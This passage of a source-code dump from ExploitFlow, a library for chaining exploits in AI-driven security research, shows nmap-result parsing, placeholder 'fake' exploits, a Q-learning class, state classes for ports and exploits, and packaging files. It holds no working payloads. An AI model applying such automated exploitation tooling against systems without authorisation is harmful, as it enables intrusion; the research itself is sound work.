84 | new_port = int(port["@portid"])
85 | version = (
86 | port["service"]["@version"] if "@version" in port["service"] else None
87 | )
88 | name = port["service"]["@name"] if "@name" in port["service"] else None
89 | cpe = port["service"]["cpe"] if "cpe" in port["service"] else "unknown"
90 | new_port_state = PortState_v1(
91 | new_port,
92 | port["state"]["@state"] == "open",
93 | name,
94 | version,
95 | cpe,
96 | )
97 |
98 | for i, state_port in enumerate(aux_state.states[target].ports):
99 | if state_port.port == new_port:
100 | aux_state.states[target].ports[i] = new_port_state
101 |
102 | else:
103 | # or multiple
104 | for port in nmap_results["nmaprun"]["host"]["ports"]["port"]:
105 | new_port = int(port["@portid"])
106 | version = (
107 | port["service"]["@version"] if "@version" in port["service"] else None
108 | )
109 | name = port["service"]["@name"] if "@name" in port["service"] else None
110 | # cpe = port["service"]["cpe"] if "cpe" in port["service"] else None
111 | cpe = port["service"]["cpe"] if "cpe" in port["service"] else "unknown"
112 | new_port_state = PortState_v1(
113 | new_port,
114 | port["state"]["@state"] == "open",
115 | name,
116 | version,
117 | cpe,
118 | )
119 |
120 | # update, NOTE assumes aux_state is PortState_v2
121 | for i, state_port in enumerate(aux_state.states[target].ports):
122 | if state_port.port == new_port:
123 | aux_state.states[target].ports[i] = new_port_state
124 |
125 | self.post_state = aux_state
126 |
127 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4)
128 | for i, exploit_state in enumerate(self.post_state.states[target].exploits):
129 | # print("DEBUG: " + str(exploit_state.type))
130 | if isinstance(exploit_state.type, type): # if type is a class, PortState_v2
131 | if exploit_state.type == self.__class__:
132 | self.post_state.states[target].exploits[i].launched = True
133 | else: # if type is an object, PortState_v4
134 | if exploit_state.type == self.name:
135 | self.post_state.states[target].exploits[i].launched = True
136 |
137 | self.status = (
138 | nmap_results["nmaprun"]["runstats"]["finished"]["@exit"] == "success"
139 | )
140 | self.debug(debug, nmap_results=nmap_results, target=target)
141 |
142 | # update graph
143 | self._graph.update(self, self.reward, self.post_state)
144 |
145 | return self.post_state
146 |
147 | def debug(self, debug, nmap_results=None, target=None):
148 | if debug:
149 | super(ReconnaissanceExploit, self).debug(debug, target)
150 |
151 | # print(nmap_results)
152 | # if nmap_results:
153 | # for port in nmap_results["nmaprun"]["host"]["ports"]["port"]:
154 | # cpe = (
155 | # port["service"]["cpe"]
156 | # if "cpe" in port["service"]
157 | # else "unknown"
158 | # )
159 | # print(
160 | # str(port["@portid"])
161 | # + " - "
162 | # + str(port["state"]["@state"])
163 | # + " - "
164 | # + str(port["service"]["@name"])
165 | # + " - "
166 | # + str(port["service"]["@version"])
167 | # + " - "
168 | # + cpe
169 | # )
170 |
171 |
172 | class FakeVersionExploit(VersionExploit):
173 | def __init__(self, port_range=None, name="FakeVersionExploit"):
174 | super(FakeVersionExploit, self).__init__(name=name)
175 |
176 | def _forward(self, state, target, debug=False) -> State:
177 | # 1. define previous state
178 | if state:
179 | self.pre_state = state
180 | else:
181 | self.pre_state = State_default() # New empty state
182 |
183 | # priotize exploit's target, over flow's target
184 | if self.target:
185 | flow_target = target
186 | target = self.target
187 |
188 | # 2. build next state
189 | #
190 | # NOTE, turns input state into the latest State and ensures
191 | # that it's not empty (add least state for target)
192 | aux_state_latest = to_State(self.pre_state, target)
193 | if not aux_state_latest.states: # if dict states is empty
194 | aux_state_latest.add_new(target) # create a new state for target
195 |
196 | ## 2.1 Add changes in states
197 | ## 2.1.1 State 1
198 | aux_state = aux_state_latest[target] # use the __getitem__ method
199 | # 2.1.1.1 Add changes in ports
200 | aux_state.ports[0].open = True
201 | aux_state.ports[0].name = "fake"
202 | # -
203 | aux_state.ports[2].open = True
204 | aux_state.ports[2].name = "fake"
205 | # -
206 | aux_state.ports[10].open = True
207 | aux_state.ports[10].name = "fake"
208 | ## 2.1.1.2 Add changes in exploits
209 | for i, exploit_state in enumerate(aux_state.exploits):
210 | if exploit_state.type == self.__class__:
211 | aux_state.exploits[i].launched = True
212 |
213 | ## 2.1.1 State 2, invented
214 | aux_state_latest.add_new("127.0.0.2")
215 | aux_state = aux_state_latest["127.0.0.2"] # use the __getitem__ method
216 | # 2.1.1.1 Add changes in ports
217 | aux_state.ports[0].open = True
218 | aux_state.ports[0].name = "fake"
219 | # -
220 | aux_state.ports[2].open = True
221 | aux_state.ports[2].name = "fake"
222 | # -
223 | aux_state.ports[10].open = True
224 | aux_state.ports[10].name = "fake"
225 | ## 2.1.1.2 Add changes in exploits
226 | for i, exploit_state in enumerate(aux_state.exploits):
227 | if exploit_state.type == self.__class__:
228 | aux_state.exploits[i].launched = True
229 |
230 | self.post_state = aux_state_latest
231 |
232 | # 3. Define exploit status
233 | self.status = True
234 |
235 | # 4. Return resulting state
236 | self.debug(debug, target=target)
237 |
238 | # update graph
239 | self._graph.update(self.reward, self.post_state, debug=debug)
240 | return self.post_state
241 |
242 |
243 | class FakeVersionExploit2(FakeVersionExploit):
244 | def __init__(self, port_range=None, name="FakeVersionExploit2"):
245 | super(FakeVersionExploit2, self).__init__(name=name)
246 |
--------------------------------------------------------------------------------
/exploitflow/models.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | #
15 | # A simple file abstracting silly learning models for the sake of testing
16 | # and experimentation.
17 |
18 | import random
19 | from wasabi import color
20 |
21 | # A utility function to format floating point numbers. Not
22 | # directly related to Q-learning.
23 | def ff(f, n):
24 | """Format a floating point number to a string with n digits."""
25 | fs = '{:f}'.format(f)
26 | if len(fs) < n:
27 | return ('{:'+n+'s}').format(fs)
28 | else:
29 | return fs[:n]
30 |
31 |
32 | class QLearn:
33 | """Q-Learning class. Implements the Q-Learning algorithm."""
34 |
35 | def __init__(self,
36 | actions,
37 | epsilon=0.1,
38 | alpha=0.2,
39 | gamma=0.9):
40 | """Initialize an empty dictionary for Q-Values.
41 |
42 | params:
43 | actions: list of actions available in the environment
44 | epsilon: exploration factor
45 | alpha: learning rate
46 | gamma: discount factor
47 | """
48 | # Q-Values are stored in a dictionary, with the state-action
49 | self.q = {}
50 |
51 | # Epsilon is the exploration factor. A higher epsilon
52 | # encourages more exploration, risking more but potentially
53 | # gaining more too.
54 | self.epsilon = epsilon
55 |
56 | # Alpha is the learning rate. If Alpha is high, then the
57 | # learning is faster but may not converge. If Alpha is low,
58 | # the learning is slower but convergence may be more stable.
59 | self.alpha = alpha
60 |
61 | # Gamma is the discount factor.
62 | # It prioritizes present rewards over future ones.
63 | self.gamma = gamma
64 |
65 | # Actions available in the environment
66 | self.actions = actions
67 |
68 | def getQ(self, state, action):
69 | """Get Q value for a state-action pair.
70 |
71 | If the state-action pair is not found in the dictionary,
72 | return 0.0 if not found in our dictionary
73 | """
74 | return self.q.get((state, action), 0.0)
75 |
76 | def learnQ(self, state, action, reward, value, debug=False):
77 | """Updates the Q-value for a state-action pair.
78 |
79 | The core Q-Learning update rule.
80 | Q(s, a) += alpha * (reward(s,a) + max(Q(s')) - Q(s,a))
81 |
82 | This function updates the Q-value for a state-action pair
83 | based on the reward and maximum estimated future reward.
84 | """
85 | oldv = self.q.get((state, action), None)
86 | if oldv is None:
87 | if debug:
88 | print(color("WARNING: Adding new Q-value for " + str(action) + " with state: " + str(state), fg="black", bg="yellow", bold=True))
89 |
90 | # If no previous Q-Value exists, then initialize
91 | # it with the current reward
92 | self.q[(state, action)] = reward
93 | else:
94 | # Update the Q-Value with the weighted sum of old
95 | # value and the newly found value.
96 | #
97 | # Alpha determines how much importance we give to the
98 | # new value compared to the old value.
99 | self.q[(state, action)] = oldv + self.alpha * (value - oldv)
100 |
101 | if debug:
102 | print(color("SUCESS: Reusing Q-value for " + str(action) + " with state: " + str(state), fg="black", bg="green", bold=True))
103 |
104 | # def chooseAction(self, state):
105 | # """Epsilon-Greedy approach for action selection."""
106 | # if random.random() < self.epsilon:
107 | # # With probability epsilon, we select a random action
108 | # action = random.choice(self.actions)
109 | # else:
110 | # # With probability 1-epsilon, we select the action
111 | # # with the highest Q-value
112 | # q = [self.getQ(state, a) for a in self.actions]
113 | # maxQ = max(q)
114 | # count = q.count(maxQ)
115 | # # If there are multiple actions with the same Q-Value,
116 | # # then choose randomly among them
117 | # if count > 1:
118 | # best = [i for i in range(len(self.actions)) if q[i] == maxQ]
119 | # i = random.choice(best)
120 | # else:
121 | # i = q.index(maxQ)
122 |
123 | # action = self.actions[i]
124 | # return action
125 |
126 | def chooseAction(self, state, return_q=False):
127 | """An alternative approach for action selection."""
128 | # Compute the Q values for each action given the current state
129 | q = [self.getQ(state, a) for a in self.actions]
130 | maxQ = max(q)
131 |
132 | # With a probability of epsilon, add random values
133 | # to all the actions to introduce some noise and
134 | # encourage exploration.
135 | if random.random() < self.epsilon:
136 | minQ = min(q)
137 | mag = max(abs(minQ), abs(maxQ)) # Determine the magnitude
138 | # range based on minQ and maxQ
139 |
140 | # For each action, add a random value in the range of [-0.5 * mag, 0.5 * mag].
141 | # This modifies the Q-values in a way that promotes exploration
142 | q = [q[i] + random.random() * mag - .5 * mag for i in range(len(self.actions))]
143 |
144 | # Recalculate the maximum Q value after adding the random values
145 | maxQ = max(q)
146 |
147 | # Determine how many actions have the maximum Q value
148 | count = q.count(maxQ)
149 |
150 | # If there are multiple actions with the same Q-value (maxQ),
151 | # choose an action randomly from those actions. This ensures
152 | # diversity in action selection when there are ties for the max Q-value.
153 | if count > 1:
154 | best = [i for i in range(len(self.actions)) if q[i] == maxQ]
155 | i = random.choice(best)
156 | else:
157 | # If only one action has the max Q-value, select that action.
158 | i = q.index(maxQ)
159 |
160 | # Get the action associated with the maximum Q-value
161 | action = self.actions[i]
162 |
163 | # If return_q is True, return both the selected action and the list of Q-values.
164 | # This can be useful for debugging and observing how Q-values change over time.
165 | if return_q:
166 | return action, q
167 |
168 | # If return_q is False, just return the selected action
169 | return action
170 |
171 | def learn(self, state1, action1, reward, state2, debug=False):
172 | """Get the maximum Q-Value for the next state."""
173 | maxqnew = max([self.getQ(state2, a) for a in self.actions])
174 |
175 | # Learn the Q-Value based on current reward and future
176 | # expected rewards.
177 | self.learnQ(state1, action1, reward, reward + self.gamma * maxqnew, debug=debug)
178 |
179 | if debug:
180 | # debug the arguments used for the learning, use colors to hightlight each part
181 | debug_str = ""
182 | debug_str += color("state: " + str(state1), fg="white", bg="blue", bold=True) + ", "
183 | debug_str += color("action: " + str(action1), fg="white", bg="black", bold=True) + ", "
184 | debug_str += color("reward: " + str(reward), fg="white", bg="red", bold=True) + ", "
185 | debug_str += color("next state: " + str(state2), fg="white", bg="yellow", bold=True)
186 | print(debug_str)
187 |
--------------------------------------------------------------------------------
/exploitflow/state.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import exploitflow as ef
16 | import pprint
17 | import copy
18 | import numpy as np
19 | from sklearn.preprocessing import OneHotEncoder
20 |
21 | # TARGET_PORTS_BASIC = list(range(21, 445))
22 | TARGET_PORTS_BASIC = list(range(21, 30))
23 | TARGET_PORTS_COMPLETE = list(range(1, 10000))
24 | TARGET_PORTS_OSX = [5000, 6000, 6001, 7000]
25 | TARGET_PORTS_ALL = TARGET_PORTS_BASIC + TARGET_PORTS_OSX
26 |
27 | # TARGET_IP_ADDRESSES = ["127.0.0.1"] + ["192.168.2." + str(i) for i in range(1, 256)]
28 | # TARGET_IP_ADDRESSES = ["127.0.0.1", "192.168.2.10", "192.168.2.5"]
29 | TARGET_IP_ADDRESSES = ["127.0.0.1", "192.168.2.10", "192.168.2.5", "192.168.2.6", "192.168.2.7", "192.168.2.8", "192.168.2.1"]
30 |
31 | class State(object):
32 | """Parent State class"""
33 | pass
34 |
35 |
36 | # //////////////
37 | # State_v0
38 | # //////////////
39 | class State_v0(State):
40 | """Basic data model.
41 |
42 | A state class for the basic operations. Helps
43 | monitor the system being tested.
44 |
45 | Parameters
46 | ----------
47 | sequence
48 | Basic type that's able to fit into a list. Typically int, bool, etc.
49 |
50 | Returns
51 | -------
52 | State_v0
53 | The state.
54 | """
55 |
56 | def __init__(self, *args):
57 | if args:
58 | if isinstance(args[0], int):
59 | self._sequence = [args[0]]
60 | elif isinstance(args[0], list):
61 | self._sequence = args[0]
62 | else:
63 | self._sequence = []
64 |
65 | def __str__(self):
66 | return str(self._sequence)
67 |
68 | def __add__(self, newstate):
69 | """Merge to stage objects"""
70 | return State_v0(self._sequence + newstate._sequence)
71 |
72 |
73 | # //////////////
74 | # State_v1
75 | # //////////////
76 | class ExploitState_v1(object):
77 | def __init__(self, type_exploit: object, launched: bool = False):
78 | self.type = type_exploit
79 | self.launched = launched
80 |
81 | # Instantiate a OneHotEncoder with output as dense array
82 | self.enc = OneHotEncoder(sparse_output=False)
83 | self.exploits_enc = []
84 | for c in ef.exploits_all:
85 | self.exploits_enc.append(c.__name__)
86 | self.exploits_enc = np.array(self.exploits_enc).reshape(-1, 1)
87 | self.code = self.enc.fit_transform(self.exploits_enc)
88 |
89 | def __str__(self):
90 | return str(self.type) + "|" + str(self.launched)
91 |
92 | def __repr__(self) -> str:
93 | return self.__str__()
94 |
95 | def one_hot_encode(self):
96 | """
97 | One-hot encodes the 'type' instance variable and binary encodes the 'launched' instance variable.
98 | """
99 | type_processed = np.array([self.type.__name__]).reshape(-1, 1)
100 | type_encoded = self.enc.transform(type_processed) # one-hot encode self.type, 2D np array
101 | type_encoded = type_encoded.flatten().tolist() # flatten to 1D list
102 |
103 | # binary encode self.launched
104 | launched_encoded = [1.0 if self.launched else 0.0]
105 | return type_encoded + launched_encoded
106 |
107 |
108 |
109 | class PortState_v1(object):
110 | def __init__(
111 | self,
112 | port: int,
113 | open: bool = False,
114 | name: str = None,
115 | version: str = None,
116 | cpe: str = None,
117 | ):
118 | self.port = port
119 | self.open = open
120 | self.name = name
121 | self.version = version
122 | self.cpe = cpe
123 |
124 | # Instantiate a OneHotEncoder with output as dense array
125 | self.enc = OneHotEncoder(sparse_output=False)
126 | self.ports_enc = []
127 | for p in ef.state.TARGET_PORTS_BASIC:
128 | self.ports_enc.append(p)
129 | self.ports_enc = np.array(self.ports_enc).reshape(-1, 1)
130 | self.code = self.enc.fit_transform(self.ports_enc)
131 |
132 |
133 | def __str__(self):
134 | return str(self.port) + "|" + str(self.open)
135 |
136 | def __repr__(self) -> str:
137 | return self.__str__()
138 |
139 | def one_hot_encode(self):
140 | # Assuming 'port' is categorical and 'open' is binary
141 | #
142 | # 'name', 'version', 'cpe' discarded for one-hot encoding
143 | port_processed = np.array([self.port]).reshape(-1, 1)
144 | port_encoded = self.enc.transform(port_processed) # one-hot encode self.port, 2D np array
145 | port_encoded = port_encoded.flatten().tolist() # flatten to 1D list
146 |
147 | # binary encode self.launched
148 | open_encoded = [1.0 if self.open else 0.0]
149 | return port_encoded + open_encoded
150 |
151 |
152 | class State_v1(State):
153 | def __init__(self, *args):
154 | self.exploits = []
155 | self.ports = []
156 |
157 | # initialize all exploits as unlaunched (False)
158 | for c in ef.exploits_all:
159 | self.exploits.append(ExploitState_v1(c, False))
160 | # print(c.__name__) # debug
161 |
162 | # initialize all ports to closed (False)
163 | for port in TARGET_PORTS_BASIC:
164 | self.ports.append(PortState_v1(port))
165 |
166 | def __str__(self):
167 | """Returns dict with launched exploits and open ports"""
168 | d_return = {"exploits": [], "ports": []}
169 | for expl in self.exploits:
170 | if expl.launched:
171 | if isinstance(expl.type, type):
172 | # expl.type is a class
173 | d_return["exploits"].append(str(expl.type.__name__))
174 | else:
175 | # expl.type is an obj
176 | d_return["exploits"].append(str(expl.type.get_name()))
177 |
178 | for port in self.ports:
179 | if port.open:
180 | d_return["ports"].append(
181 | "port: " + str(port.port) + ", name: " + str(port.name) + ", version: " + str(port.version)
182 | )
183 | return str(pprint.pformat(d_return))
184 |
185 | def __repr__(self) -> str:
186 | return self.__str__()
187 |
188 | def __add__(self, newstate):
189 | """Merge two state objects"""
190 | return newstate
191 |
192 | def one_hot_encode(self):
193 | # one-hot encode all ExploitState_v1 and PortState_v1 objects in 'exploits' and 'ports'
194 | exploits_encoded = [exploit.one_hot_encode() for exploit in self.exploits]
195 | flattened_exploits_encoded = [item for sublist in exploits_encoded for item in sublist]
196 |
197 | ports_encoded = [port.one_hot_encode() for port in self.ports]
198 | flattened_ports_encoded = [item for sublist in ports_encoded for item in sublist]
199 |
200 | # return ports_encoded + exploits_encoded
201 | return flattened_ports_encoded + flattened_exploits_encoded
202 |
203 |
204 | # //////////////
205 | # State_v2
206 | # dictionary of State_v2 wherein each key corresponds
207 | # with the IP address of the target
208 | # //////////////
209 | class State_v2(State):
210 | def __init__(self, *args):
211 | self.states = {}
212 |
213 | # initialize all states as empty
214 | for ip in TARGET_IP_ADDRESSES:
215 | self.add_new(ip)
216 |
217 | def add(self, ip: str, state: State_v1) -> None:
218 | self.states[ip] = state
219 |
220 | def add_new(self, ip: str) -> None:
221 | state = State_v1()
222 | self.states[ip] = state
223 |
224 | def merge(self, newstate, target="127.0.0.1") -> None:
225 | """
226 | Merges the current object with a new State
227 |
228 | Supports both State_v1 and State_v2.
229 | """
230 | if type(newstate) == State_v1:
231 | self.states[target] = newstate # whether it exists or not
232 | elif type(newstate) == State_v2:
233 | aux_state = self + newstate # NOTE: overwrites self, with newstate
234 | self.states = aux_state.states
235 | else:
236 | raise TypeError("Unknown state type")
237 |
238 | def __add__(self, newstate):
239 | """
240 | Merge two state objects
241 | """
242 | aux_state = copy.deepcopy(self)
243 |
244 | # # NOTE: Overwrites self with newstate
245 | # for ip in newstate.states.keys():
246 | # aux_state.states[ip] = newstate.states[ip]
247 | # return newstate
248 |
249 | # NOTE: Adds each exploit and ports, for each ip
250 | for ip in newstate.states.keys():
251 |
252 | #if ip not in aux_state.states.keys(), add it
253 | if ip not in aux_state.states.keys():
254 | aux_state.add_new(ip)
255 |
256 | # check exploits to add
257 | for expl in newstate.states[ip].exploits:
258 | if expl.launched:
259 | aux_state.states[ip].exploits.append(expl)
260 |
261 | # check ports to add
262 | for port in newstate.states[ip].ports:
263 | if port.open:
264 | aux_state.states[ip].ports.append(port)
265 | return aux_state
266 |
267 | def __str__(self):
268 | """Returns dict with launched exploits and open ports"""
269 | return pprint.pformat(self.states)
270 |
271 | def __getitem__(self, key):
272 | return self.states[key]
273 |
274 | def __setitem__(self, key, value):
275 | self.states[key] = value
276 |
277 | def __repr__(self) -> str:
278 | return self.__str__()
279 |
280 | def one_hot_encode(self):
281 | # one-hot encode all State_v1 objects in 'states'
282 | states_encoded = [state.one_hot_encode() for state in self.states.values()]
283 | flattened_states_encoded = [item for sublist in states_encoded for item in sublist]
284 | # return states_encoded
285 | return flattened_states_encoded
286 |
287 | # //////////////
288 | # State_v3
289 | #
290 | # NOTE, like State_v1, but using instances instead of classes
291 | # //////////////
292 | class ExploitState_v3(object):
293 | def __init__(self, type_exploit: object, launched: bool = False):
294 | self.type = type_exploit
295 | self.launched = launched
296 |
297 | # Instantiate a OneHotEncoder with output as dense array
298 | self.enc = OneHotEncoder(sparse_output=False)
299 | self.exploits_enc = []
300 | for c in ef.exploits_all_instances:
301 | self.exploits_enc.append(c.get_name())
302 | self.exploits_enc = np.array(self.exploits_enc).reshape(-1, 1)
303 | self.code = self.enc.fit_transform(self.exploits_enc)
304 |
305 | def __str__(self):
306 | return str(self.type) + "|" + str(self.launched)
307 |
308 | def __repr__(self) -> str:
309 | return self.__str__()
310 |
311 | def one_hot_encode(self):
312 | """
313 | One-hot encodes the 'type' instance variable and binary encodes the 'launched' instance variable.
314 | """
315 | type_processed = np.array([self.type.name]).reshape(-1, 1)
316 | type_encoded = self.enc.transform(type_processed) # one-hot encode self.type, 2D np array
317 | type_encoded = type_encoded.flatten().tolist() # flatten to 1D list
318 |
319 | # binary encode self.launched
320 | launched_encoded = [1.0 if self.launched else 0.0]
321 | return type_encoded + launched_encoded
322 |
323 |
324 |
325 | class PortState_v3(object):
326 | def __init__(
327 | self,
328 | port: int,
329 | open: bool = False,
330 | name: str = None,
331 | version: str = None,
332 | cpe: str = None,
333 | ):
334 | self.port = port
335 | self.open = open
336 | self.name = name
337 | self.version = version
338 | self.cpe = cpe
339 |
340 | # Instantiate a OneHotEncoder with output as dense array
341 | self.enc = OneHotEncoder(sparse_output=False)
342 | self.ports_enc = []
343 | for p in ef.state.TARGET_PORTS_BASIC:
344 | self.ports_enc.append(p)
345 | self.ports_enc = np.array(self.ports_enc).reshape(-1, 1)
346 | self.code = self.enc.fit_transform(self.ports_enc)
347 |
348 |
349 | def __str__(self):
350 | return str(self.port) + "|" + str(self.open)
351 |
352 | def __repr__(self) -> str:
353 | return self.__str__()
354 |
355 | def one_hot_encode(self):
356 | # Assuming 'port' is categorical and 'open' is binary
357 | #
358 | # 'name', 'version', 'cpe' discarded for one-hot encoding
359 | port_processed = np.array([self.port]).reshape(-1, 1)
360 | port_encoded = self.enc.transform(port_processed) # one-hot encode self.port, 2D np array
361 | port_encoded = port_encoded.flatten().tolist() # flatten to 1D list
362 |
363 | # binary encode self.launched
364 | open_encoded = [1.0 if self.open else 0.0]
365 | return port_encoded + open_encoded
366 |
367 |
368 | class State_v3(State):
369 | def __init__(self, *args):
370 | self.exploits = []
371 | self.ports = []
372 |
373 | # initialize all exploits as unlaunched (False)
374 | for c in ef.exploits_all_instances:
375 | self.exploits.append(ExploitState_v3(c, False))
376 | # print(c.__name__) # debug
377 |
378 | # initialize all ports to closed (False)
379 | for port in TARGET_PORTS_BASIC:
380 | self.ports.append(PortState_v1(port))
381 |
382 | def __str__(self):
383 | """Returns dict with launched exploits and open ports"""
384 | d_return = {"exploits": [], "ports": []}
385 | for expl in self.exploits:
386 | if expl.launched:
387 | if isinstance(expl.type, type):
388 | # expl.type is a class
389 | d_return["exploits"].append(str(expl.type.__name__))
390 | else:
391 | # expl.type is an obj
392 | d_return["exploits"].append(str(expl.type.get_name()))
393 |
394 | for port in self.ports:
395 | if port.open:
396 | d_return["ports"].append(
397 | "port: " + str(port.port) + ", name: " + str(port.name) + ", version: " + str(port.version)
398 | )
399 | return str(pprint.pformat(d_return))
400 |
401 | def __repr__(self) -> str:
402 | return self.__str__()
403 |
404 | def __add__(self, newstate):
405 | """Merge two state objects"""
406 | return newstate
407 |
408 | def one_hot_encode(self):
409 | # one-hot encode all ExploitState_v1 and PortState_v1 objects in 'exploits' and 'ports'
410 | exploits_encoded = [exploit.one_hot_encode() for exploit in self.exploits]
411 | flattened_exploits_encoded = [item for sublist in exploits_encoded for item in sublist]
412 |
413 | ports_encoded = [port.one_hot_encode() for port in self.ports]
414 | flattened_ports_encoded = [item for sublist in ports_encoded for item in sublist]
415 |
416 | # return ports_encoded + exploits_encoded
417 | return flattened_ports_encoded + flattened_exploits_encoded
418 |
419 |
420 | # //////////////
421 | # State_v4
422 | # like State_v2, but using instances instead of classes
423 | # //////////////
424 | class State_v4(State):
425 | def __init__(self, *args):
426 | self.states = {}
427 |
428 | # initialize all states as empty
429 | for ip in TARGET_IP_ADDRESSES:
430 | self.add_new(ip)
431 |
432 | def add(self, ip: str, state: State_v3) -> None:
433 | self.states[ip] = state
434 |
435 | def add_new(self, ip: str) -> None:
436 | state = State_v1()
437 | self.states[ip] = state
438 |
439 | def merge(self, newstate, target="127.0.0.1") -> None:
440 | """
441 | Merges the current object with a new State
442 |
443 | Supports both State_v1 and State_v2.
444 | """
445 | if type(newstate) == State_v3:
446 | self.states[target] = newstate # whether it exists or not
447 | elif type(newstate) == State_v4:
448 | aux_state = self + newstate # NOTE: overwrites self, with newstate
449 | self.states = aux_state.states
450 | else:
451 | raise TypeError("Unknown state type")
452 |
453 | def __add__(self, newstate):
454 | """
455 | Merge two state objects
456 | """
457 | aux_state = copy.deepcopy(self)
458 |
459 | # # NOTE: Overwrites self with newstate
460 | # for ip in newstate.states.keys():
461 | # aux_state.states[ip] = newstate.states[ip]
462 | # return newstate
463 |
464 | # NOTE: Adds each exploit and ports, for each ip
465 | for ip in newstate.states.keys():
466 |
467 | #if ip not in aux_state.states.keys(), add it
468 | if ip not in aux_state.states.keys():
469 | aux_state.add_new(ip)
470 |
471 | # check exploits to add
472 | for expl in newstate.states[ip].exploits:
473 | if expl.launched:
474 | aux_state.states[ip].exploits.append(expl)
475 |
476 | # check ports to add
477 | for port in newstate.states[ip].ports:
478 | if port.open:
479 | aux_state.states[ip].ports.append(port)
480 | return aux_state
481 |
482 | def __str__(self):
483 | """Returns dict with launched exploits and open ports"""
484 | return pprint.pformat(self.states)
485 |
486 | def __getitem__(self, key):
487 | return self.states[key]
488 |
489 | def __setitem__(self, key, value):
490 | self.states[key] = value
491 |
492 | def __repr__(self) -> str:
493 | return self.__str__()
494 |
495 | def one_hot_encode(self):
496 | # one-hot encode all State_v1 objects in 'states'
497 | states_encoded = [state.one_hot_encode() for state in self.states.values()]
498 | flattened_states_encoded = [item for sublist in states_encoded for item in sublist]
499 | # return states_encoded
500 | return flattened_states_encoded
501 |
502 |
503 | def to_State(state: State, target: str) -> State_v2:
504 | """
505 | Returns a new State_v2 of state
506 | """
507 | # ensure aux_state is State_v2
508 | if type(state) == State_v1:
509 | aux_state = State_v2()
510 | aux_state.add(target, state)
511 | elif type(state) == State_v3:
512 | aux_state = State_v4()
513 | aux_state.add(target, state)
514 |
515 | else:
516 | aux_state = copy.deepcopy(state)
517 |
518 | return aux_state
519 |
520 |
521 | # //////////////
522 | # Aliases
523 | # //////////////
524 |
525 | # State_default = State_v0
526 | # State_default = State_v1
527 | State_default = State_v2
528 | # State_default = State_v4
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | pymetasploit3
2 | networkx==2.5
3 | requests
4 | wasabi
5 | xmltodict
6 | pydot==1.4.2
7 | typing-extensions
8 | scapy
9 | numpy
10 | matplotlib
11 | python3-nmap
12 | scikit-learn
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved.
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import os
16 | from collections import OrderedDict
17 | from setuptools import find_packages, setup
18 |
19 | with open(os.path.join(os.path.dirname(__file__), 'requirements.txt')) as f:
20 | dependencies = f.read().strip().split('\n')
21 |
22 | setup(
23 | name="exploitflow",
24 | version="0.2.0",
25 | description="ExploitFlow, a library to produce cybersecurity exploitation routes",
26 | long_description="""
27 | ExploitFlow (EF) is a modular library to produce cybersecurity exploitation routes (exploit flows). It allows to combine and compose exploits from different sources and frameworks, capturing the state of the system being tested in a *flow* after every discrete action.
28 |
29 | It's main motivation is to facilitate and empower Artificial Intelligence (AI) research in cybersecurity. EF's software architecture is inspired by the success of TensorFlow. To facilitate usage, exploits are grouped by categories following the security kill chain.
30 | """,
31 | author="Víctor Mayoral-Vilches",
32 | author_email="v.mayoralv@gmail.com",
33 | maintainer="Víctor Mayoral-Vilches",
34 | maintainer_email="v.mayoralv@gmail.com",
35 | url="https://github.com/vmayoral/ExploitFlow",
36 | project_urls=OrderedDict(
37 | (
38 | ("Code", "https://github.com/vmayoral/ExploitFlow"),
39 | ("Issue tracker", "https://github.com/vmayoral/ExploitFlow/issues"),
40 | )
41 | ),
42 | license="Apache License",
43 | install_requires=dependencies,
44 | packages=find_packages(),
45 | )
46 |
--------------------------------------------------------------------------------